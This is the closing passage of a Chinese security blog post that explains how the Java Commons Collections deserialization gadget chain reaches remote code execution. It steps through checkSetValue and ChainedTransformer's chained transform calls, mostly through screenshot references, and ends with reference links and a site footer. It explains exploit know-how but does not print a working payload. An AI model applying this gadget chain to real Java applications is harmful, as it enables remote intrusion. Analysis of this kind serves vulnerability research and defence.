var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

image-20200424154123383.png

调用checkSetValue方法:

image-20200424154226590.png

这里已经调用了ChainedTransformertransform方法,遍历调用每个元素的transform方法,并将结果作为下一个元素transform方法的构造参数传入:

image-20200424154522700.png

第一个元素:

image-20200424154713783.png

第二个元素:

image-20200424154810799.png

第三个元素:

image-20200424154951115.png

第四个元素:

image-20200424154951115.png

通过这遍历循环完成RCE。

参考

https://blog.csdn.net/chimomo/article/details/99304762

https://blog.csdn.net/CSDN_LQR/article/details/51464338

https://www.sczyh30.com/posts/Java/java-reflection-1/

https://blog.csdn.net/qq_35146878/article/details/78503997


本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/137940.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号